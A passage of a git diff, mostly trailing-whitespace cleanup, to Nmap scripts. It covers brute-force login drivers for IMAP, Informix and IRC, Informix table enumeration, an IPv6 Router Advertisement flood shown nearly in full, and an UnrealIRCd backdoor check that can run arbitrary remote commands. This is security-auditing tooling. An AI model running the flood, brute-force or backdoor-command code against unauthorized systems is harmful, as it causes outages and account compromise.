+ -- Connects to the server (retrieves a connection from the pool) connect = function( self ) self.helper = ConnectionPool[coroutine.running()] @@ -75,7 +75,7 @@ Driver = -- @return brute.Error on failure and brute.Account on success login = function( self, username, password ) local status, err = self.helper:login( username, password, mech ) - if ( status ) then + if ( status ) then self.helper:close() self.helper:connect() return true, brute.Account:new(username, password, creds.State.VALID) @@ -86,17 +86,17 @@ Driver = local err = brute.Error:new( err ) -- This might be temporary, set the retry flag err:setRetry( true ) - return false, err + return false, err end return false, brute.Error:new( "Incorrect password" ) end, - + -- Disconnects from the server (release the connection object back to -- the pool) disconnect = function( self ) return true end, - + } @@ -112,10 +112,10 @@ action = function(host, port) -- check if an authentication mechanism was provided or try -- try them in the mech_prio order - local mech_prio = stdnse.get_script_args("imap-brute.auth") - mech_prio = ( mech_prio and { mech_prio } ) or + local mech_prio = stdnse.get_script_args("imap-brute.auth") + mech_prio = ( mech_prio and { mech_prio } ) or { "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" } - + -- iterates over auth mechanisms until a valid mechanism is found for _, m in ipairs(mech_prio) do if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then @@ -131,13 +131,13 @@ action = function(host, port) if ( not(mech) ) then return "\n ERROR: No suitable authentication mechanism was found" end - + local engine = brute.Engine:new(Driver, host, port) engine.options.script_name = SCRIPT_NAME local result status, result = engine:start() - + for _, helper in pairs(ConnectionPool) do helper:close() end - + return result end diff --git a/scripts/informix-brute.nse b/scripts/informix-brute.nse index 9f61f0917..6639d6f71 100644 --- a/scripts/informix-brute.nse +++ b/scripts/informix-brute.nse @@ -16,7 +16,7 @@ Performs brute force password auditing against IBM Informix Dynamic Server. -- @output -- PORT STATE SERVICE -- 9088/tcp open unknown --- | informix-brute: +-- | informix-brute: -- | Accounts -- | ifxnoob:ifxnoob => Valid credentials -- | Statistics @@ -38,9 +38,9 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"intrusive", "brute"} -portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open") +portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open") -Driver = +Driver = { new = function(self, host, port) @@ -51,22 +51,22 @@ Driver = o.port = port return o end, - + --- Connects performs protocol negotiation -- -- @return true on success, false on failure connect = function( self ) - local status, data + local status, data self.helper = informix.Helper:new( self.host, self.port, "on_nmap_dummy" ) - + status, data = self.helper:Connect() if ( not(status) ) then return status, data end - + return true end, - + --- Attempts to login to the Informix server -- -- @param username string containing the login username @@ -76,7 +76,7 @@ Driver = -- brute.Account object on success login = function( self, username, password ) local status, data = self.helper:Login( username, password, {} ) - + if ( status ) then if ( not(nmap.registry['informix-brute']) ) then nmap.registry['informix-brute'] = {} @@ -91,20 +91,20 @@ Driver = return false, brute.Error:new( data ) end, - + --- Disconnects and terminates the Informix communication disconnect = function( self ) self.helper:Close() end, - + } action = function(host, port) - local status, result + local status, result local engine = brute.Engine:new(Driver, host, port ) engine.options.script_name = SCRIPT_NAME - + status, result = engine:start() return result diff --git a/scripts/informix-query.nse b/scripts/informix-query.nse index cd3a43494..98913016c 100644 --- a/scripts/informix-query.nse +++ b/scripts/informix-query.nse @@ -16,14 +16,14 @@ authentication credentials (see also: informix-brute). -- @output -- PORT STATE SERVICE -- 9088/tcp open unknown syn-ack --- | informix-query: +-- | informix-query: -- | Information -- | User: informix -- | Database: sysmaster -- | Query: "SELECT FIRST 1 DBINFO('dbhostname') hostname, DBINFO('version','full') version FROM systables" -- | Results --- | hostname version --- |_ patrik-laptop IBM Informix Dynamic Server Version 11.50.UC4E +-- | hostname version +-- |_ patrik-laptop IBM Informix Dynamic Server Version 11.50.UC4E -- -- @args informix-query.username The username used for authentication -- @args informix-query.password The password used for authentication @@ -43,7 +43,7 @@ categories = {"intrusive", "auth"} dependencies = { "informix-brute" } -portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open") +portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open") action = function( host, port ) local instance = stdnse.get_script_args('informix-info.instance') @@ -54,12 +54,12 @@ action = function( host, port ) local pass = stdnse.get_script_args('informix-query.password') local query = stdnse.get_script_args('informix-query.query') local db = stdnse.get_script_args('informix-query.database') or "sysmaster" - + query = query or "SELECT FIRST 1 DBINFO('dbhostname') hostname, " .. "DBINFO('version','full') version FROM systables" helper = informix.Helper:new( host, port, instance ) - + -- If no user was specified lookup the first user in the registry saved by -- the informix-brute script if ( not(user) ) then @@ -70,7 +70,7 @@ action = function( host, port ) return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)" end end - + status, data = helper:Connect() if ( not(status) ) then return stdnse.format_output(status, data) @@ -81,14 +81,14 @@ action = function( host, port ) status, data = helper:Query(query) if ( not(status) ) then return stdnse.format_output(status, data) end - + for _, rs in ipairs(data) do table.insert( result, { "User: " .. user, "Database: " .. db, ( "Query: \"%s\"" ):format( rs.query ), name="Information" } ) local tmp = informix.Util.formatTable( rs ) tmp.name = "Results" table.insert( result, tmp ) end - - + + return stdnse.format_output(status, result) end diff --git a/scripts/informix-tables.nse b/scripts/informix-tables.nse index 2477442a5..6fafd45fd 100644 --- a/scripts/informix-tables.nse +++ b/scripts/informix-tables.nse @@ -15,32 +15,32 @@ Retrieves a list of tables and column definitions for each database on an Inform -- @output -- PORT STATE SERVICE REASON -- 9088/tcp open unknown syn-ack --- | informix-tables: +-- | informix-tables: -- | Information -- | User: informix -- | Database: stores_demo -- | Results --- | table column rows --- | call_type call_code 5 --- | call_type code_descr 5 --- | catalog cat_advert 74 --- | catalog cat_descr 74 --- | catalog cat_picture 74 --- | catalog catalog_num 74 --- | catalog manu_code 74 --- | catalog stock_num 74 --- | classes class 4 --- | classes classid 4 +-- | table column rows +-- | call_type call_code 5 +-- | call_type code_descr 5 +-- | catalog cat_advert 74 +-- | catalog cat_descr 74 +-- | catalog cat_picture 74 +-- | catalog catalog_num 74 +-- | catalog manu_code 74 +-- | catalog stock_num 74 +-- | classes class 4 +-- | classes classid 4 -- | classes subject 4 --- | cust_calls call_code 7 --- | cust_calls call_descr 7 --- | cust_calls call_dtime 7 --- | cust_calls customer_num 7 --- | cust_calls res_descr 7 --- | cust_calls res_dtime 7 --- | cust_calls user_id 7 --- | warehouses warehouse_id 4 --- | warehouses warehouse_name 4 +-- | cust_calls call_code 7 +-- | cust_calls call_descr 7 +-- | cust_calls call_dtime 7 +-- | cust_calls customer_num 7 +-- | cust_calls res_descr 7 +-- | cust_calls res_dtime 7 +-- | cust_calls user_id 7 +-- | warehouses warehouse_id 4 +-- | warehouses warehouse_name 4 -- |_ warehouses warehouse_spec 4 -- -- @args informix-query.username The username used for authentication @@ -55,7 +55,7 @@ categories = {"intrusive", "auth"} dependencies = { "informix-brute" } -portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open") +portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open") action = function( host, port ) local helper @@ -65,11 +65,11 @@ action = function( host, port ) local pass = stdnse.get_script_args('informix-tables.password') or "" local query= [[ SELECT cast(tabname as char(20)) table, cast(colname as char(20)) column, cast( cast(nrows as int) as char(20)) rows - FROM "informix".systables st, "informix".syscolumns sc - WHERE sc.tabid = st.tabid and st.tabid > 99 and st.tabtype='T' + FROM "informix".systables st, "informix".syscolumns sc + WHERE sc.tabid = st.tabid and st.tabid > 99 and st.tabtype='T' ORDER BY table, column]] local excluded_dbs = { ["sysmaster"] = true, ["sysutils"] = true, ["sysuser"] = true, ["sysadmin"] = true } - + -- If no user was specified lookup the first user in the registry saved by -- the informix-brute script if ( not(user) ) then @@ -80,9 +80,9 @@ action = function( host, port ) return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)" end end - + helper = informix.Helper:new( host, port ) - + status, data = helper:Connect() if ( not(status) ) then return stdnse.format_output(status, data) @@ -96,14 +96,14 @@ action = function( host, port ) if ( not(status) ) then return " \n ERROR: Failed to retrieve a list of databases" end - + for _, db in ipairs(databases) do if ( not( excluded_dbs[db] ) ) then status, data = helper:OpenDatabase(db) if ( not(status) ) then return stdnse.format_output(status, data) end status, data = helper:Query( query ) if ( not(status) ) then return stdnse.format_output(status, data) end - + if ( status ) then data = informix.Util.formatTable( data[1] ) data.name = "Results" diff --git a/scripts/ip-forwarding.nse b/scripts/ip-forwarding.nse index 97c0163b5..e63668f7d 100644 --- a/scripts/ip-forwarding.nse +++ b/scripts/ip-forwarding.nse @@ -25,7 +25,7 @@ to be on the LAN. -- sudo nmap -sn --script ip-forwarding --script-args='target=www.example.com' -- -- @output --- | ip-forwarding: +-- | ip-forwarding: -- |_ The host has ip forwarding enabled, tried ping against (www.example.com) -- -- @args ip-forwarding.target a LAN or routed target responding to ICMP echo @@ -53,7 +53,7 @@ icmpEchoRequest = function(ifname, host, addr) pcap:set_timeout(5000) pcap:pcap_open(iface.device, 128, false, ("ether src %s and icmp and ( icmp[0] = 0 or icmp[0] = 5 ) and dst %s"):format(stdnse.format_mac(host.mac_addr), iface.address)) dnet:ethernet_open(iface.device) - + local probe = packet.Frame:new() probe.mac_src = iface.mac probe.mac_dst = host.mac_addr @@ -66,9 +66,9 @@ icmpEchoRequest = function(ifname, host, addr) probe:build_icmp_header() probe:build_ip_packet() probe:build_ether_frame() - + dnet:ethernet_send(probe.frame_buf) - local status = pcap:pcap_receive() + local status = pcap:pcap_receive() dnet:ethernet_close() return status end @@ -92,11 +92,11 @@ action = function(host) else target = arg_target end - + if ( target == host.ip ) then return ("\n ERROR: Target can not be the same as the scanned host") end - + if (icmpEchoRequest(ifname, host, target)) then return ("\n The host has ip forwarding enabled, tried ping against (%s)"):format(arg_target) end diff --git a/scripts/ip-geolocation-geobytes.nse b/scripts/ip-geolocation-geobytes.nse index d09f629cf..f2b02899f 100644 --- a/scripts/ip-geolocation-geobytes.nse +++ b/scripts/ip-geolocation-geobytes.nse @@ -47,8 +47,8 @@ hostrule = function(host) return not is_private end --- Limit is 20 request per hour per requesting host, when reached all table --- values are filled with a "Limit Exceeded" value. A record in the registry is +-- Limit is 20 request per hour per requesting host, when reached all table +-- values are filled with a "Limit Exceeded" value. A record in the registry is -- made so no more requests are made to the server during one scan action = function(host) if nmap.registry["ip-geolocation-geobytes"] and nmap.registry["ip-geolocation-geobytes"].blocked then @@ -70,7 +70,7 @@ action = function(host) -- an empty table is returned when latitude and longitude can not be determined if ( "table" == type(loc.latitude) or "table" == type(loc.longitude) ) then return "Could not determine location for IP" - end + end output["latitude"] = loc.latitude output["longitude"] = loc.longitude output["city"] = loc.city diff --git a/scripts/ip-geolocation-geoplugin.nse b/scripts/ip-geolocation-geoplugin.nse index 93d432f33..3389dc5c1 100644 --- a/scripts/ip-geolocation-geoplugin.nse +++ b/scripts/ip-geolocation-geoplugin.nse @@ -40,24 +40,24 @@ local geoplugin = function(ip) local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip, nil) local stat, loc = json.parse(response.body) if not stat then return nil end - + local output = {} table.insert(output, "coordinates (lat,lon): "..loc.geoplugin_latitude..","..loc.geoplugin_longitude) local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName table.insert(output,"state: ".. regionName ..", ".. loc.geoplugin_countryName) - + return output end - + action = function(host,port) local output = geoplugin(host.ip) - if(#output~=0) then - output.name = host.ip + if(#output~=0) then + output.name = host.ip if host.targetname then - output.name = output.name.." ("..host.targetname..")" + output.name = output.name.." ("..host.targetname..")" end end - + return stdnse.format_output(true,output) end diff --git a/scripts/ip-geolocation-ipinfodb.nse b/scripts/ip-geolocation-ipinfodb.nse index 2d34c8543..67e92eda7 100644 --- a/scripts/ip-geolocation-ipinfodb.nse +++ b/scripts/ip-geolocation-ipinfodb.nse @@ -18,7 +18,7 @@ needs to be obtained through free registration for this service: -- @usage -- nmap --script ip-geolocation-ipinfodb --script-args ip-geolocation-ipinfodb.apikey= -- --- @args ip-geolocation-ipinfodb.apikey A sting specifying the api-key which +-- @args ip-geolocation-ipinfodb.apikey A sting specifying the api-key which -- the user wants to use to access this service -- -- @output @@ -49,7 +49,7 @@ hostrule = function(host) return false end - return true + return true end -- No limit on requests. A free registration for an API key is a prerequisite @@ -57,31 +57,31 @@ local ipinfodb = function(ip) local api_key = stdnse.get_script_args(SCRIPT_NAME..".apikey") local response = http.get("api.ipinfodb.com", 80, "/v3/ip-city/?key="..api_key.."&format=json".."&ip="..ip, nil) local stat, loc = json.parse(response.body) - if not stat then + if not stat then stdnse.print_debug("No response, possibly a network problem.") - return nil + return nil end if loc.statusMessage and loc.statusMessage == "Invalid API key." then stdnse.print_debug(loc.statusMessage) return nil end - + local output = {} table.insert(output, "coordinates (lat,lon): "..loc.latitude..","..loc.longitude) table.insert(output,"city: ".. loc.cityName..", ".. loc.regionName..", ".. loc.countryName) - + return output end action = function(host,port) local output = ipinfodb(host.ip) - - if(#output~=0) then - output.name = host.ip + + if(#output~=0) then + output.name = host.ip if host.targetname then - output.name = output.name.." ("..host.targetname..")" + output.name = output.name.." ("..host.targetname..")" end end - + return stdnse.format_output(true,output) end diff --git a/scripts/ip-geolocation-maxmind.nse b/scripts/ip-geolocation-maxmind.nse index 39caaf793..6158e1968 100644 --- a/scripts/ip-geolocation-maxmind.nse +++ b/scripts/ip-geolocation-maxmind.nse @@ -391,7 +391,7 @@ local MaxmindDef = { local ip2long=function(ip_str) local ip = stdnse.strsplit('%.',ip_str) - local ip_num = (tonumber(ip[1])*16777216 + tonumber(ip[2])*65536 + local ip_num = (tonumber(ip[1])*16777216 + tonumber(ip[2])*65536 + tonumber(ip[3])*256 + tonumber(ip[4])) return ip_num end @@ -406,40 +406,40 @@ local GeoIP = { o._filehandle= assert(io.open(filename,'rb')) o._databaseType = MaxmindDef.COUNTRY_EDITION o._recordLength = MaxmindDef.STANDARD_RECORD_LENGTH - + local filepos = o._filehandle:seek() o._filehandle:seek("end",-3) - + for i=1,MaxmindDef.STRUCTURE_INFO_MAX_SIZE do local delim = o._filehandle:read(3) - + if delim == '\255\255\255' then o._databaseType = o._filehandle:read(1):byte() -- backward compatibility with databases from April 2003 and earlier - if (o._databaseType >= 106) then - o._databaseType = o._databaseType - 105 + if (o._databaseType >= 106) then + o._databaseType = o._databaseType - 105 end - + local fast_combo1={[MaxmindDef.CITY_EDITION_REV0]=true, [MaxmindDef.CITY_EDITION_REV1]=true, [MaxmindDef.ORG_EDITION]=true, [MaxmindDef.ISP_EDITION]=true, [MaxmindDef.ASNUM_EDITION]=true} - + if o._databaseType == MaxmindDef.REGION_EDITION_REV0 then o._databaseSegments = MaxmindDef.STATE_BEGIN_REV0 elseif o._databaseType == MaxmindDef.REGION_EDITION_REV1 then o._databaseSegments = MaxmindDef.STATE_BEGIN_REV1 - elseif fast_combo1[o._databaseType] then + elseif fast_combo1[o._databaseType] then o._databaseSegments = 0 local buf = o._filehandle:read(MaxmindDef.SEGMENT_RECORD_LENGTH) - - -- the original representation in the MaxMind API is ANSI C integer + + -- the original representation in the MaxMind API is ANSI C integer -- which should not overflow the greatest value Lua can offer ;) for j=0,(MaxmindDef.SEGMENT_RECORD_LENGTH-1) do o._databaseSegments = o._databaseSegments + bit.lshift( buf:byte(j+1), j*8) end - + if o._databaseType == MaxmindDef.ORG_EDITION or o._databaseType == MaxmindDef.ISP_EDITION then o._recordLength = MaxmindDef.ORG_RECORD_LENGTH end @@ -449,25 +449,25 @@ local GeoIP = { o._filehandle:seek("cur",-4) end end - + if o._databaseType == MaxmindDef.COUNTRY_EDITION then o._databaseSegments = MaxmindDef.COUNTRY_BEGIN end o._filehandle:seek("set",filepos) - + return o end, - + output_record_by_addr = function(self,addr) local loc = self:record_by_addr(addr) if not loc then return nil end - + local output = {} --output.name = "Maxmind database" table.insert(output, "coordinates (lat,lon): " .. loc.latitude .. "," .. loc.longitude) - + local str = "" - if loc.city then + if loc.city then str = str.."city: "..loc.city end if loc.metro_code then @@ -477,10 +477,10 @@ local GeoIP = { str = str .. ", "..loc.country_name end table.insert(output,str) - + return output end, - + record_by_addr=function(self,addr) local ipnum = ip2long(addr) return self:_get_record(ipnum) @@ -492,10 +492,10 @@ local GeoIP = { return nil end local record_pointer = seek_country + (2 * self._recordLength - 1) * self._databaseSegments - + self._filehandle:seek("set",record_pointer) local record_buf = self._filehandle:read(MaxmindDef.FULL_RECORD_LENGTH) - + local record = {} local start_pos = 1 local char = record_buf:byte(start_pos) @@ -505,34 +505,34 @@ local GeoIP = { record.country_name = MaxmindDef.COUNTRY_NAMES[char] start_pos = start_pos + 1 local end_pos = 0 - + end_pos = record_buf:find("\0",start_pos) - if start_pos ~= end_pos then + if start_pos ~= end_pos then record.region_name = record_buf:sub(start_pos, end_pos-1) end start_pos = end_pos + 1 - + end_pos = record_buf:find("\0",start_pos) - if start_pos ~= end_pos then + if start_pos ~= end_pos then record.city = record_buf:sub(start_pos, end_pos-1) end start_pos = end_pos + 1 - - + + end_pos = record_buf:find("\0",start_pos) - if start_pos ~= end_pos then + if start_pos ~= end_pos then record.postal_code = record_buf:sub(start_pos, end_pos-1) end start_pos = end_pos + 1 - + local c1,c2,c3=record_buf:byte(start_pos,start_pos+3) record.latitude = (( bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) )/10000) - 180 start_pos = start_pos +3 - + c1,c2,c3=record_buf:byte(start_pos,start_pos+3) record.longitude = (( bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) )/10000) - 180 start_pos = start_pos +3 - + if self._databaseType == MaxmindDef.CITY_EDITION_REV1 and record.country_code=='US' then c1,c2,c3=record_buf:byte(start_pos,start_pos+3) local dmaarea_combo= bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) @@ -542,13 +542,13 @@ local GeoIP = { record.dma_code = nil record.area_code = nil end - + if record.dma_code and MaxmindDef.DMA_MAP[record.dma_code] then record.metro_code = MaxmindDef.DMA_MAP[record.dma_code] else record.metro_code = nil end - + return record end, @@ -557,10 +557,10 @@ local GeoIP = { for depth=31,0,-1 do self._filehandle:seek("set", 2 * self._recordLength * offset) local buf = self._filehandle:read(2*self._recordLength) - + local x = {} x[0],x[1] = 0,0 - + for i=0,1 do for j=0,(self._recordLength-1) do x[i] = x[i] + bit.lshift(buf:byte((self._recordLength * i + j) +1 ), j*8) @@ -583,12 +583,12 @@ local GeoIP = { return nil end, } - + action = function(host,port) local f_maxmind = stdnse.get_script_args(SCRIPT_NAME .. ".maxmind_db") - + local output = {} - + --if f_maxmind is a string, it should specify the filename of the database if f_maxmind then local gi = assert( GeoIP:new(f_maxmind), "Wrong file specified for a Maxmind database") @@ -599,13 +599,13 @@ action = function(host,port) local out = gi:output_record_by_addr(host.ip) output = out end - - if(#output~=0) then - output.name = host.ip + + if(#output~=0) then + output.name = host.ip if host.targetname then - output.name = output.name.." ("..host.targetname..")" + output.name = output.name.." ("..host.targetname..")" end end - + return stdnse.format_output(true,output) end diff --git a/scripts/ipidseq.nse b/scripts/ipidseq.nse index 184865367..20313c0ca 100644 --- a/scripts/ipidseq.nse +++ b/scripts/ipidseq.nse @@ -16,7 +16,7 @@ for these hosts. ]] --- --- @usage +-- @usage -- nmap --script ipidseq [--script-args probeport=port] target -- @args probeport Set destination port to probe -- @output diff --git a/scripts/ipv6-ra-flood.nse b/scripts/ipv6-ra-flood.nse index 35eff0579..c3656026d 100644 --- a/scripts/ipv6-ra-flood.nse +++ b/scripts/ipv6-ra-flood.nse @@ -5,22 +5,22 @@ local math = require "math" local string = require "string" local os = require "os" -description = [[ Generates a flood of Router Advertisements (RA) with random source MAC addresses and IPv6 prefixes. Computers, which have stateless autoconfiguration enabled by default (every major OS), +description = [[ Generates a flood of Router Advertisements (RA) with random source MAC addresses and IPv6 prefixes. Computers, which have stateless autoconfiguration enabled by default (every major OS), will start to compute IPv6 suffix and update their routing table to reflect the accepted announcement. This will cause 100% CPU usage on Windows and platforms, preventing to process other application requests. Vulnerable platforms: * All Cisco IOS ASA with firmware < November 2010 * All Netscreen versions supporting IPv6 -* Windows 2000/XP/2003/Vista/7/2008/8/2012 +* Windows 2000/XP/2003/Vista/7/2008/8/2012 * All FreeBSD versions * All NetBSD versions -* All Solaris/Illumos versions +* All Solaris/Illumos versions Security advisory: http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt -WARNING: This script is dangerous and is very likely to bring down a server or network appliance. +WARNING: This script is dangerous and is very likely to bring down a server or network appliance. It should not be run in a production environment unless you (and, more importantly, -the business) understand the risks! +the business) understand the risks! Additional documents: https://tools.ietf.org/rfc/rfc6104.txt ]] @@ -45,17 +45,17 @@ math.randomseed(os.time()) prerule = function() if nmap.address_family() ~= "inet6" then stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME) - return false + return false end - + if not nmap.is_privileged() then - stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME) - return false + stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME) + return false end if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then - stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME) - return false + stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME) + return false end return true @@ -65,16 +65,16 @@ local function get_interface() local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface() local if_table = nmap.get_interface_info(arg_interface) - + if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then return if_table.device else stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface) - end + end end --- Generates random MAC address --- @return mac string containing random MAC address +-- @return mac string containing random MAC address local function random_mac() local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1) @@ -105,7 +105,7 @@ local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferre 0x00,0x00,0x00,0x00, --reachable time 0x00,0x00,0x00,0x00) --retrans timer - local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved + local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved packet.numtostr32(mtu) -- MTU local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto @@ -117,14 +117,14 @@ local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferre local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg) local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg) local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src) - + local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option return icmpv6_payload end --- Broadcasting on the selected interface --- @param iface table containing interface information +-- @param iface table containing interface information local function broadcast_on_interface(iface) stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface) @@ -137,34 +137,34 @@ local function broadcast_on_interface(iface) local dnet = nmap.new_dnet() try(dnet:ethernet_open(iface)) - + local dst_mac = packet.mactobin("33:33:00:00:00:01") local dst_ip6_addr = packet.ip6tobin("ff02::1") - + local prefix_len = 64 - + --- maximum possible value of 4-byte integer local valid_time = tonumber(0xffffffff) - local preffered_time = tonumber(0xffffffff) - + local preffered_time = tonumber(0xffffffff) + local mtu = 1500 local start, stop = os.time() while true do - local src_mac = packet.mactobin(random_mac()) + local src_mac = packet.mactobin(random_mac()) local src_ip6_addr = packet.mac_to_lladdr(src_mac) - + local prefix = packet.ip6tobin(get_random_prefix()) - + local packet = packet.Frame:new() packet.mac_src = src_mac packet.mac_dst = dst_mac packet.ip_bin_src = src_ip6_addr packet.ip_bin_dst = dst_ip6_addr - + local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu) packet:build_icmpv6_header(134, 0, icmpv6_payload) packet:build_ipv6_packet() @@ -187,6 +187,6 @@ end function action() local interface = get_interface() - + broadcast_on_interface(interface) end diff --git a/scripts/irc-brute.nse b/scripts/irc-brute.nse index 355d38764..39f0d4373 100644 --- a/scripts/irc-brute.nse +++ b/scripts/irc-brute.nse @@ -17,7 +17,7 @@ Performs brute force password auditing against IRC (Internet Relay Chat) servers -- @output -- PORT STATE SERVICE -- 6667/tcp open irc --- | irc-brute: +-- | irc-brute: -- | Accounts -- | password - Valid credentials -- | Statistics @@ -37,17 +37,17 @@ categories={"brute","intrusive"} portrule = shortport.port_or_service({6666,6667,6697,6679},{"irc","ircs"}) Driver = { - + new = function(self, host, port, opts) local o = { host = host, port = port, opts = opts or {} } setmetatable(o, self) self.__index = self return o end, - + connect = function(self) -- the high timeout should take delays from ident into consideration - local s, r, opts, _ = comm.tryssl(self.host, + local s, r, opts, _ = comm.tryssl(self.host, self.port, '', { timeout = self.opts.timeout or 10000 } ) @@ -62,14 +62,14 @@ Driver = { local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password) local status, data = self.socket:send(msg) local success = false - + if ( not(status) ) then local err = brute.Error:new( data ) -- This might be temporary, set the retry flag err:setRetry( true ) - return false, err + return false, err end - + repeat local status, response = self.socket:receive_buf("\r?\n", false) -- we check for the RPL_WELCOME message, if we don't see it, @@ -78,7 +78,7 @@ Driver = { success = true end until(not(status)) - + if (success) then return true, brute.Account:new("", password, creds.State.VALID) end @@ -100,7 +100,7 @@ local function needsPassword(host, port) local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(random_nick()) local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } ) local err, code - + repeat local status, response = s:receive_buf("\r?\n", false) if ( status ) then @@ -131,9 +131,9 @@ action = function(host, port) if ( not(status) ) then return stdnse.format_output(false, err) end - + local engine = brute.Engine:new(Driver, host, port) - engine.options.script_name = SCRIPT_NAME + engine.options.script_name = SCRIPT_NAME engine.options.firstonly = true engine.options.passonly = true local result diff --git a/scripts/irc-sasl-brute.nse b/scripts/irc-sasl-brute.nse index f003514ef..fecf08037 100644 --- a/scripts/irc-sasl-brute.nse +++ b/scripts/irc-sasl-brute.nse @@ -25,7 +25,7 @@ Performs brute force password auditing against IRC (Internet Relay Chat) servers -- @output -- PORT STATE SERVICE REASON -- 6667/tcp open irc syn-ack --- | irc-sasl-brute: +-- | irc-sasl-brute: -- | Accounts -- | root:toor - Valid credentials -- | Statistics @@ -46,14 +46,14 @@ local dbg = stdnse.print_debug -- some parts of the following class are taken from irc-brute written by Patrik Driver = { - + new = function(self, host, port, saslencoder) local o = { host = host, port = port, saslencoder = saslencoder} setmetatable(o, self) self.__index = self return o end, - + connect = function(self) -- the high timeout should take delays from ident into consideration local s, r, opts, _ = comm.tryssl(self.host, @@ -95,22 +95,22 @@ Driver = { if challenge then status = false end until (not status) local msg = self.saslencoder:encode(username, password, challenge) - + -- SASL PLAIN is supposed to be plaintext, but freenode actually wants it to be base64 encoded if self.saslencoder:get_mechanism() == "PLAIN" then msg = base64.enc(msg) end - + local status, data = self.socket:send("AUTHENTICATE "..msg.."\r\n") local success = false - + if ( not(status) ) then local err = brute.Error:new( data ) -- This might be temporary, set the retry flag err:setRetry( true ) return false, err end - + repeat status, response = self.socket:receive_lines(1) if ( status and string.find(response, "90[45]") ) then @@ -121,13 +121,13 @@ Driver = { status = false end until (not status) - + if (success) then return true, brute.Account:new(username, password, creds.State.VALID) end return false, brute.Error:new("Incorrect username or password") end, - + disconnect = function(self) return self.socket:close() end, } @@ -135,7 +135,7 @@ Driver = { -- mechanisms local function check_sasl(host, port) local s, r, opts, _ = comm.tryssl(host, port, "CAP REQ sasl\r\n", { timeout = 15000 } ) - + repeat local status, lines = s:receive_lines(1) if string.find(lines, "ACK") then status = false end @@ -177,10 +177,10 @@ action = function(host, port) if not sasl_supported then return stdnse.format_output(false, "Server doesn't support SASL authentication.") end - + local saslencoder = sasl.Helper:new() local sasl_mech - + -- check if the library supports any of the mechanisms we identified for _,m in ipairs(mechs) do if saslencoder:set_mechanism(m) then diff --git a/scripts/irc-unrealircd-backdoor.nse b/scripts/irc-unrealircd-backdoor.nse index 4bd892811..e7de0e2a4 100644 --- a/scripts/irc-unrealircd-backdoor.nse +++ b/scripts/irc-unrealircd-backdoor.nse @@ -7,9 +7,9 @@ local string = require "string" description = [[ Checks if an IRC server is backdoored by running a time-based command (ping) -and checking how long it takes to respond. +and checking how long it takes to respond. -The irc-unrealircd-backdoor.command script argument can be used to +The irc-unrealircd-backdoor.command script argument can be used to run an arbitrary command on the remote system. Because of the nature of this vulnerability (the output is never returned) we have no way of getting the output of the command. It can, however, be used to start a @@ -25,11 +25,11 @@ netcat listener as demonstrated here: ron -Metasploit can also be used to exploit this vulnerability. +Metasploit can also be used to exploit this vulnerability. In addition to running arbitrary commands, the irc-unrealircd-backdoor.kill script argument can be passed, which -simply kills the UnrealIRCd process. +simply kills the UnrealIRCd process. Reference: @@ -39,15 +39,15 @@ Reference: ]] --- --- @args irc-unrealircd-backdoor.command An arbitrary command to run on the remote system (note, however, that you won't see the output of your command). This will always be attempted, even if the host isn't vulnerable. The pattern %IP% will be replaced with the ip address of the target host. --- @args irc-unrealircd-backdoor.kill If set to 1 or true, kill the backdoored UnrealIRCd running. --- @args irc-unrealircd-backdoor.wait Wait time in seconds before executing the check. This is recommended to set for more reliable check (100 is good value). +-- @args irc-unrealircd-backdoor.command An arbitrary command to run on the remote system (note, however, that you won't see the output of your command). This will always be attempted, even if the host isn't vulnerable. The pattern %IP% will be replaced with the ip address of the target host. +-- @args 